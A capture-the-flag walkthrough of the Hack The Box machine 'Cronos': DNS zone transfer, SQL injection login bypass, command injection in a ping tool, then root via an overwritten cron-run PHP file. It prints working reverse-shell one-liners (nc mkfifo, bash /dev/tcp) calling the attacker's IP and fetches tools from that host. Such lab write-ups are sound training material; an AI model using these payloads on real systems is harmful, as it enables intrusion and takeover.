--- search: exclude: true --- # Cronos Writeup ![](img/4.png) ## Introduction : Cronos is a medium Linux box released back in march 2017. ## **Part 1 : Initial Enumeration** As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. λ nihilist [ 10.10.14.20/23 ] [~/_HTB/TenTen] → nmap -F 10.10.10.13 Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-21 16:00 GMT Nmap scan report for 10.10.10.13 Host is up (0.11s latency). Not shown: 97 filtered ports PORT STATE SERVICE 22/tcp open ssh 53/tcp open domain 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 3.35 seconds λ nihilist [ 10.10.14.20/23 ] [~/_HTB/TenTen] → nmap -sCV -p22,53,80 10.10.10.13 Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-21 16:01 GMT Nmap scan report for 10.10.10.13 Host is up (0.10s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA) | 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA) |_ 256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519) 53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux) | dns-nsid: |_ bind.version: 9.10.3-P4-Ubuntu 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 16.20 seconds λ root [ 10.10.14.20/23 ] [nihilist/_HTB/TenTen] → echo '10.10.10.13 cronos.htb' >> /etc/hosts ## **Part 2 : Getting User Access** As our nmap scan picked up port 53 running a DNS service, we'll use the host command to list the hosts in the domain : λ nihilist [ 10.10.14.20/23 ] [~/_HTB/TenTen] → host -l cronos.htb 10.10.10.13 Using domain server: Name: 10.10.10.13 Address: 10.10.10.13#53 Aliases: cronos.htb name server ns1.cronos.htb. cronos.htb has address 10.10.10.13 admin.cronos.htb has address 10.10.10.13 ns1.cronos.htb has address 10.10.10.13 www.cronos.htb has address 10.10.10.13 looks like we have 2 additional domain names to add to our /etc/hosts file : λ root [ 10.10.14.20/23 ] [nihilist/_HTB/TenTen] → echo '10.10.10.13 admin.cronos.htb www.cronos.htb' >> /etc/hosts ` ![](prg/4_001.png)![](prg/4_002.png) admin.cronos.htb looks interesting, let's see if we can have [sql injection](https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/) : ![](prg/4_003.png)![](prg/4_004.png) and we're in ! we have access to a badly written php script used to ping or traceroute, but we can get code execution as www-data by adding ** & <****command>**. So let's see if we can print out the user flag : ![](prg/4_005.png) And that's it ! we have been able to print out the user flag. ## **Part 3 : Getting Root Access** In order to privesc, let's first get a reverse shell but to do so, we must first check if netcat is on the box : ![](prg/4_006.png) now that we know that netcat is on the box we can use this one liner and get a reverse shell, catching the incoming connection with another netcat instance running locally. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.20 9002 >/tmp/f `![](prg/4_007.png) we hit execute and we get a reverse shell : λ nihilist [ 10.10.14.20/23 ] [~] → nc -lvnp 9002 listening on [any] 9002 ... connect to [10.10.14.20] from (UNKNOWN) [10.10.10.13] 36520 /bin/sh: 0: can't access tty; job control turned off $ python -c 'import pty;pty.spawn("/bin/sh")' Now that we have a TTY Shell, let's see if we can enumerate the machine with Linenum, but to do so we need to know if we can use wget / curl $ which wget which wget /usr/bin/wget $ which curl which curl /usr/bin/curl $ cd /tmp cd /tmp $ wget http://10.10.14.20:8080/LinEnum.sh && chmod +x LinEnum.sh wget http://10.10.14.20:8080/LinEnum.sh && chmod +x LinEnum.sh --2020-02-21 18:50:39-- http://10.10.14.20:8080/LinEnum.sh Connecting to 10.10.14.20:8080... connected. HTTP request sent, awaiting response... 200 OK Length: 46631 (46K) [text/x-sh] Saving to: 'LinEnum.sh' LinEnum.sh 100%[===================>] 45.54K 222KB/s in 0.2s 2020-02-21 18:50:40 (222 KB/s) - 'LinEnum.sh' saved [46631/46631] $./LinEnum.sh We can, therefore we execute LinEnum.sh after adding the executing right with chmod and looking at it's output we see that crontab executes a /var/www/laravel/artisan every minute as root. $ ls -lash /var/www/laravel | grep artisan ls -lash /var/www/laravel | grep artisan 4.0K -rwxr-xr-x 1 www-data www-data 1.7K Apr 9 2017 artisan To privesc on the machine, we'll modify the artisan file (which is a php file) to contain a reverse shell, we'll use the same reverse shell named nihilist.php that we used when we did [Popcorn](1.md) λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Cronos] → locate nihilist.php /home/nihilist/_HTB/Bastard/nihilist.php /home/nihilist/_HTB/Networked/nihilist.php.gif /home/nihilist/_HTB/Popcorn/nihilist.php /home/nihilist/_HTB/Popcorn/nihilist.php.gif λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Cronos] → cp /home/nihilist/_HTB/Popcorn/nihilist.php . λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Cronos] → nano nihilist.php #!/usr/bin/env php <****?php exec("/bin/bash -c 'bash -i > & /dev/tcp/10.10.14.20/1234 0>&1'"); ?****> once we're done modifying it , we upload it , wait for cronjob to execute it and get a reverse shell this time as root _Terminal 1:_ λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Cronos] → python -m SimpleHTTPServer 7070 Serving HTTP on 0.0.0.0 port 7070 ... ` _Terminal 2:_ $ wget http://10.10.14.20:7070/nihilist.php --2020-02-21 19:05:59-- http://10.10.14.20:7070/nihilist.php Connecting to 10.10.14.20:7070... connected. HTTP request sent, awaiting response... 200 OK Length: 98 [application/octet-stream] Saving to: 'nihilist.php' 0K 100% 19.8M=0s 2020-02-21 19:05:59 (19.8 MB/s) - 'nihilist.php' saved [98/98] $ cp nihilist.php artisan ` _Terminal 3:_ λ nihilist [ 10.10.14.20/23 ] [~/_HTB/Cronos] → nc -lvnp 1234 listening on [any] 1234 ... connect to [10.10.14.20] from (UNKNOWN) [10.10.10.13] 40640 bash: cannot set terminal process group (1580): Inappropriate ioctl for device bash: no job control in this shell root@cronos:~# cat /root/root.txt cat /root/root.txt 17XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX And that's it ! we have been able to get a reverse shell as root, and we have been able to print out the contents of the root flag. ## **Conclusion** Here we can see the progress graph : ![](img/4_graph.png)